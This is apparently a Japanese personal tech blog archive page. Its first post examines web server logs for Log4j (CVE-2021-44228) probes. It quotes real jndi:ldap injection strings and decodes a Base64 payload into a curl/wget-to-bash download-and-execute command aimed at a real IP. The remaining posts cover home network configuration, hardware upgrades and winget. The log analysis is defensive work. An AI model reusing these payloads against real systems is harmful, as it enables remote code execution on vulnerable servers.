ホーム » コンピュータ (ページ 24)

コンピュータ」カテゴリーアーカイブ

システム

最近の投稿

アーカイブ

カテゴリー

Java Log4j 攻撃が自宅サーバにも来ている?

JPCERT/CC などでも重大な脆弱性として報告されている Log4j への攻撃だけど、Java なぞ動いていない我が家の”自己満足サーバ”にさえも届いている。

UserAgent で履歴確認

こちらの記事を参考に、UserAgent に変な値が入っていないか Log を漁ってみた。

この結果、攻撃のため? のLOGには、以下のような記録がある。UserAgent の中に埋め込まれている、”cryptoslogic-cve-2021-44228.com” というのは、ドメイン名部分が Log4j の脆弱性の正式名称なので、攻撃目的ではなく、攻撃可能性を警鐘するためグループからのアクセスかもしれない。

[/var/log/apache2]# grep -i user access.log.1 | grep -i agent
68.183.207.73 - - [12/Dec/2021:02:23:59 +0900] "GET / HTTP/1.1" 302 16843 "-" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:02:23:59 +0900] "GET /wp/ HTTP/1.1" 301 266 "https://xx.xx.xx.xx/" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:02:24:01 +0900] "GET /wp/ HTTP/1.1" 200 17388 "https://xx.xx.xx.xx/wp/" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:08:24:43 +0900] "GET / HTTP/1.1" 302 12543 "-" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
68.183.207.73 - - [12/Dec/2021:08:24:43 +0900] "GET /wp/ HTTP/1.1" 301 237 "http://xx.xx.xx.xx/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
68.183.207.73 - - [12/Dec/2021:08:24:50 +0900] "GET /wp/ HTTP/1.1" 200 17389 "http://xx.xx.xx.xx/wp/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"

自分が仕事を含め外部公開をしているサーバで、上記のような履歴を確認したら、すべてのサーバに、12/12の日付の LOG が残っていた。

試しにアクセスしてきた IP アドレスを逆引き。digitalocean.com が管理しているアドレスということが判る。んで、”whois kryptoslogic-cve-2021-44228.com” で調べてみるけど、あまりいい情報は出てこない。

[~]# dig -x 68.183.207.73
:
;; AUTHORITY SECTION:
207.183.68.in-addr.arpa. 957    IN      SOA
  ns1.digitalocean.com. hostmaster.207.183.68.in-addr.arpa. (略)
[~]# whois kryptoslogic-cve-2021-44228.com
(略)

これを見ると、ドメイン名にLog4jの脆弱性の名前を使っているし、kryptos logic という脆弱性診断のサービスをしている企業なども見えてくるので、単純に攻撃ではないかもしれない。悪意があるのであれば、攻撃用のホストの部分に、ちゃんとしたドメイン登録されているホスト名を使わないはず。

jndi:ldap の履歴確認

ということで、今回の攻撃? では、どれも jndi:ldap というのがカギっぽいので、あらためて “grep -i jndi:ldap access.log” をしてみた。すると、他の攻撃パターンも見えてきた。

[~]# cd /var/log/apache2 
[/var/log/apache2]# ( cat access.log{,.1} && zcat access.log*.gz ) | grep -i jndi:ldap
37.120.189.247 - - [13/Dec/2021:16:02:47 +0900] "GET /$%7Bjndi:ldap://45.83.193.150:1389/Exploit%7D HTTP/1.1" 404 4616 "-" "Mozilla/5.0 zgrab/0.x"
68.183.207.73 - - [12/Dec/2021:02:23:59 +0900] "GET / HTTP/1.1" 302 16843 "-" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:02:23:59 +0900] "GET /wp/ HTTP/1.1" 301 266 "https://xx.xx.xx.xx/" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:02:24:01 +0900] "GET /wp/ HTTP/1.1" 200 17388 "https://xx.xx.xx.xx/wp/" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:04:01:44 +0900] "GET /$%7Bjndi:ldap://http443path.kryptoslogic-cve-2021-44228.com/http443path%7D HTTP/1.1" 404 4615 "-" "Kryptos Logic Telltale"
68.183.207.73 - - [12/Dec/2021:08:24:43 +0900] "GET / HTTP/1.1" 302 12543 "-" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
68.183.207.73 - - [12/Dec/2021:08:24:43 +0900] "GET /wp/ HTTP/1.1" 301 237 "http://xx.xx.xx.xx/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
68.183.207.73 - - [12/Dec/2021:08:24:50 +0900] "GET /wp/ HTTP/1.1" 200 17389 "http://xx.xx.xx.xx/wp/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
68.183.207.73 - - [12/Dec/2021:09:40:02 +0900] "GET /$%7Bjndi:ldap://http80path.kryptoslogic-cve-2021-44228.com/http80path%7D HTTP/1.1" 404 402 "-" "Kryptos Logic Telltale"
20.71.156.146 - - [11/Dec/2021:18:10:51 +0900] "GET / HTTP/1.1" 302 12543 "-" "/${jndi:ldap://45.130.229.168:1389/Exploit}"

すると、攻撃用のホストに、分かり易いドメイン名など使っていない、IPアドレスそのまんまの”悪意を想定した方がよさそうな”アクセス履歴が出てくる。かといって、ldap URL の後ろに “Exploit” といった、文字が含まれているから、まだ違うのかな…

わちゃ、こりゃ悪意の塊…

同じような履歴を仕事で管理しているサーバで実行していたら、以下のようなアクセス履歴が見つかる。

45.155.205.233 - - [10/Dec/2021:22:35:08 +0900] "GET / HTTP/1.1" 200 11705 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xMDQuMjE1LjI0LjI0MTo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xMDQuMjE1LjI0LjI0MTo4MCl8YmFzaA==}"

後半の部分が、Base64 とかの後ろに、”KGN…aA==” とかいう、いかにも BASE64 エンコーディングされたような文字列発見。
base64 デコードサービスで確認すると

(curl -s 45.155.205.233:5874/xx.xx.xx.xx:80
 ||wget -q -O- 45.155.205.233:5874/xx.xx.xx.xx:80)  # xx.xx.xx.xx は攻撃対象のIP
|bash

なんて文字が出てくる。こりゃ、確実に悪意のあるスクリプト。

たぶん、踏み台となっているコマンドサーバ(45.155.205.233)からダウンロードした shell script をbash で実行しようとしている。そこで、このアドレスを、dig -x やら whois やらで調べてみるけど、踏み台だし「攻撃者だけど実際は犠牲者」の情報だし、これ以上調べてもまともな情報は出てこないだろう。別に調べたら、ロシアのコンピュータ。自宅サーバはロシアなどの国は最初からアクセス禁止してあるから、履歴が無かっただけか。んで、このコマンドサーバに、試しに ping やら nmap を実行してみる。

[~]# dig -x 45.155.205.233
(略)
;; AUTHORITY SECTION:
205.155.45.in-addr.arpa. 1258   IN      SOA
   pns21.cloudns.net. support.cloudns.net. (略)
[~]# whois cloudns.net
(無料のDNSサービスなのであまりいい情報が無い)

[~]# ping 45.155.205.233
[ping 反応なし]
[~]# nmap 45.155.205.233
[nmap 反応なし]

たぶん、すでに踏み台となっていることの報告がでて、プロバイダが対応をしたんだろうけど、反応がない。

まとめ記事へのリンク

Log4j に関連するパッケージ

Log4j は色々な使われ方をしているようなので、一応確認。

(( log4j という名前を含むパッケージの検索 ))
[~]# dpkg -l | grep log4j
ii  liblog-log4perl-perl  1.54-1  all  Perl port of the widely popular log4j logging package
(( liblog-log4per-perl に依存しているパッケージを探す ))
[~]# aptitude purge liblog-log4perl-perl
:
以下のパッケージには満たされていない依存関係があります:
 munin : 依存: liblog-log4perl-perl インストールされません

今年買ってよかったもの

コロナで旅行もあまり行けず、今年を振り返るのは買い物ぐらいか。

パソコン関係では、今年やたらと遅くなってきたので、ちょっと速くなればと買った SSD 。予想以上に効果があった。あと1,2年は耐えられるようになったな。

{CAPTION}

あと、今年はダイエット&体力づくりで簡単な山にハイキングをするようになったけど、色々やってると下山時につま先が痛くなったり、膝が痛くなったり。きちんとつま先を固定できる靴が重要だった。とはいってもワークマンの2000円の靴だけど。んで、下山の膝の衝撃をやわらげるストック。これもアマゾンで4000円ほど。

{CAPTION}

edgerouter-x の DNS fowarding 設定

Edgerouterで キャッシュDNS を動かす

自宅サーバが落ちた時のDNSトラブル対策で、自宅内で運用しているEdgerouter-xをDNSの予備として稼働させるための設定。
options の欄は dnsmasq.conf の設定を読めと書いてあったので、ググりながら設定してみた。

ubnt@ubnt# show service dns forwarding
 cache-size 1200
 listen-on switch0
 name-server 8.8.8.8
 name-server 8.8.4.4
 name-server 192.168.xx.xx                             ## ルータのDNSを参照
 options server=/tsaitoh.takefu.fukui.jp/192.168.xx.yy ## 自宅内の正引き
 options server=/tsaitoh.net/192.168.xx.yy             ## 自宅ドメイン正引き
 options server=/168.192.in-addr.arpa/192.168.xx.yy    ## 自宅内の逆引き

自宅内のDHCPでは、自宅内DNSと、edgerouter-x を参照するように既に設定されている。
試しにメインサーバで “systemctl stop named” で DNS を停止した状態で、パソコンでブラウザを操作したけど問題なくWeb を使える。自宅内のホスト名もキャッシュの範囲でちゃんと動くかな。

DHCP failover を Edgeroute で運用

DNSの設定を見直していたら、Edgerouter-x には、DHCP の failover 機能(2台目のDHCP機能) の設定がある。たまにメインサーバが落ちた時に、自宅ネットワーク環境が一切動かなくなるので、Edgerouter で DHCP failover を運用してみる。

ubnt@ubnt# show service dhcp-server
 disabled false
 :
 shared-network-name localnet {
     :
     subnet 192.168.xx.0/24 {
         default-router 192.168.xx.xx
         dns-server 192.168.xx.xx
         dns-server 192.168.xx.yy
         domain-name tsaitoh.takefu.fukui.jp
         failover {
             local-address 192.168.xx.yy
             name edgerouterx
             peer-address 192.168.xx.xx
             status secondary
         }

raspberry-pi のディスク容量増

自宅内の色々な処理(温湿度モニタリング, 家電リモコン制御, homebridge)をさせている、Raspberry-Pi のディスク容量(8GB) の容量が不足してきた。大した処理はしていないし、不要なパッケージは消していたけど、homebridge などを使っていたりで、ギリギリになってきた。

Raspberry Pi の SDD交換&拡張

しかたがないので、32GB SDD を買ってきて、イメージファイルでコピーを行う。

((( 元のraspberry-piのイメージ吸い出し )))
$ sudo dd bs=4M if=/dev/sdd of=~/rpi.img
((( 新しいSDDにイメージを書き戻し )))
$ sudo dd bs=4M if=~/rpi.img of=/dev/sdd
((( 新しいSDDでraspberry-piを起動し ))) 
$ sudo raspi-config --expand-rootfs

Core i5 第7世代はWindows11はNG

TPMのBIOS設定

自宅のWindowsマシン、Win11はTPM2.0非対応でダメと思ってたけど、BIOS設定で対応できる?あれ?あらためて確認すると、TPM2.0使える状態じゃね?
{CAPTION}

{CAPTION}

tpm.msc コマンドを実行したら、TPM2.0 の表示がある。あれ?以前確認した時は、Windows11 使えないという表示だったはずだが…もう一度確認してみるか。

組織が管理しています

確認を行うと「このPCでの更新プログラムは組織が管理しています」との表示。学校アカウントで Microsoft 365 をインストールしたことによる影響か。

こちらのサイトでの解説に従って、管理を外す。んで、改めてチェック。

Core i5 第7世代は Windows11 対象外

ぐはっ、Core i5は、第8世代以降か….

CPU, M/B の確認

CPUの差し替えも想定して、CPU-Z というソフトで CPU,MotherBoard の確認。

“Core Socket 1151 LGA” で検索すると、第8世代以降なら、Core i5 9600KF (Coffee Lake-S Refresh) あたりが、差し替え候補かな。先日、SSD化で 1.5 万ほど投資したし、2万円(価格.com)~2.8万円(Amazon) をさらに追加投資するかだな。TDP 95W だと、発熱も心配だな。

TDP を現行の 65W に合わせるなら、Core i5 9400F BOX(2.9GHz TDP 65W)かな。現行 Clock が 3GHz で若干下がるけど、Core 数が 4個 → 6個 に増えるから問題がないかな。1.9万円(価格.com)でちょっと安くなるし。

(2021/11/19追記)

心配だったので、通販業者さんの質問で「ファン・ヒートシンク」ついてますよね?と確認したら、ついてるけど、グラフィック機能が無いから、ビデオカードが必要って言われた。あぶねー、発注しなくって良かった。

となると、Core i7 9700 BOX かな。3.6万か…
Core i5 9400 BOXなら、2.3万か…

bind9-dnsutils の nslookup でデバッグ表示

DNS関連の動作確認で動かしている script が変な表示を出すようになっている。

原因を探していくと、/usr/bin/nslookup コマンドで、検索オプションをつけると、デバッグ出力が表示されているみたい。出力先も標準エラー出力となっている。10/25リリースの 9.17.19-1 の問題??

$ ls -l /usr/bin/nslooup
-rwxr-xr-x 1 root root 105120 10月 25 21:29 /usr/bin/nslookup
$ dpkg -l | grep bind9-dnsutils
ii bind9-dnsutils 1:9.17.19-1 
$ nslookup -type=a tsaitoh.net
main parsing tsaitoh.net
addlookup()
make_empty_lookup()
make_empty_lookup() = 0x7ffa08b49000->references = 1

どうも、脆弱性問題が発生した対応時の debug モード付がリリースされたんじゃないのか?

CTFページへのアクセスが増えてら

メールの送受信量のモニタに、我が家としては多いメール受信。不正メール中継されたかと心配になったけど、自宅サーバで公開している CTF のページの参照だった。(正解/不正解の確認をメールで行ってるため)

来週末に、高専 K-SEC の情報セキュリティ人材育成の CTF 初心者向けの講習会+大会があるからだろうな。

デスクトップWin10機をSSDに装煥

自宅パソコン(iiyama STYLE-S022-i5,2017/6購入)が最近もたつくので、定番のSSD置き換え。古いパソコンなのでSSD用のインタフェースが無いし、PCIe ×16の変換カードも合わせて購入。変換カード自体が放熱を考えた構造で、SSDの両面をサーマルシリコンで挟んでケースで放熱するタイプ。SSDはHDDサイズに合わせた1TBドライブで Samsung 製を選んだ。
{CAPTION}

装換には、HDDのクローニングソフトを使って1時間仕事。当然ながら古いマザボの性能とはいえ、バカっ速くなった。4年目のマシンだし最悪買い替えとも思っていた。でも、1.3万円ほどの投資になったけど、これならまだまだ使えるわ。

SSDの温度も、高温にもなっていないし、ヒートシンクをさらに張り付ける必要もなさそう。

ファンヒータとCCS811

二酸化炭素レベル計測用に導入したCCS811だけど、実際は揮発性有機化合物の量を測定しているので、あんまりCO2測定としては活躍できていない。

冬場とか変な値を表示すると思っていたけど、昨日からファンヒータを出してきたら、とたんに高い値。アルコールに反応するみたいだったけど、灯油にも反応しているようだ。しかも、ファンヒーターを点けると、一瞬値が増えるけど、揮発物質が燃焼されて値が下がるということが実感できた。んで、ファンヒータを消すと気化した灯油が充満していく。とはいえ、有機ガスが充満しているという意味では、役に立ってるか。

知り合いの方より、「本物」のCO2センサーSCD4xを紹介された。Amazon だと6440円github にも raspberry-pi 用のドライバも公開されている。

Windowsのアプリをwingetでインストール・更新

winget でインストール

Windows のパッケージ管理ソフト Winget 1.1 が更新されたということで、更新作業が楽な様にと、winget でのインストールを行う。その後で、winget upgrade –all を実行したら、ソフトのインストーラでインストールしていたソフトでも更新がかかる。VcXsrv なども更新となって、こりゃ便利。

((( 管理者モードで Windows Terminal を開く )))
((( winget の更新 )))
C:\> winget upgrade winget

((( メジャーなソフトのインストール )))
C:\> winget install vscode
C:\> winget install -e --id Mozilla.Firefox
C:\> winget install -e --id Mozilla.Thunderbird
C:\> winget install -e --id Google.Chrome

((( パッケージの検索 )))
C:\> winget search Google.Chrome

((( パッケージの一覧 )))
C:\> winget list
Microsoft 365 Apps for enterprise  Microsoft.Office    16.0.14430.20234 winget
Microsoft OneDrive                 Microsoft.OneDrive  21.180.0905.0007 winget
# winget でインストール可能なものは、最後に winget の表示付き

((( インストール済みパッケージの更新 )))
C:\> winget upgrade --all

超便利なんだけど、まとめて更新がかかって、デスクトップにアプリへのショートカットがどかどか作られた。デスクトップにアイコン大量に並ぶのは嫌いなんやけどなぁ。

(2021/10/14追記)

winget upgrade –all を実行すると、Microsoft Teams をインストールしようとして、他のバージョンが既にインストールされていますの警告。Thunderbird は、インストールに成功しても、再度 upgrade が実行されるトラブル。

Thunderbird は、91.xx.x(64bit) と 78.xx(x86) が2つインストールされていたのが原因。ということで、78.xx(x86)を 設定-アプリ で削除。

Microsoft Teams は、”winget uninstall Teams” を2度実行して確実に消してから(–id などで一方を指定しても消せなかった)、改めて “winget install -e –id Microsoft.Teams” でインストール。

また、改めて更新をかけると、VisualStudioCode が2つ。これまた確認すると、一つはシステム領域にインストールされたものと、各ユーザ領域にインストールされたものだった。ということで、ユーザ領域のパッケージを選んで削除する。

C:\WINDOWS\system32>winget list VisualStudioCode
名前                                ID                                         バージョン ソース
-------------------------------------------------------------------------------------------------
Microsoft Visual Studio Code        Microsoft.VisualStudioCode                 1.61.1     winget
Microsoft Visual Studio Code (User) {771FD6B0-FA20-xxxx-xxxx-xxxxxxxxxxxx}_is1 1.61.1

C:\WINDOWS\system32>winget uninstall {771FD6B0-FA20-xxxx-xxxx-xxxxxxxxxxxx}_is1

こういう無駄にインストールされているのが見つかって、コマンド・ぽちぽちで消せるのはありがたいね。

Google 検索

My Google   Yahoo

Microsoft

ファンサイト

メタ情報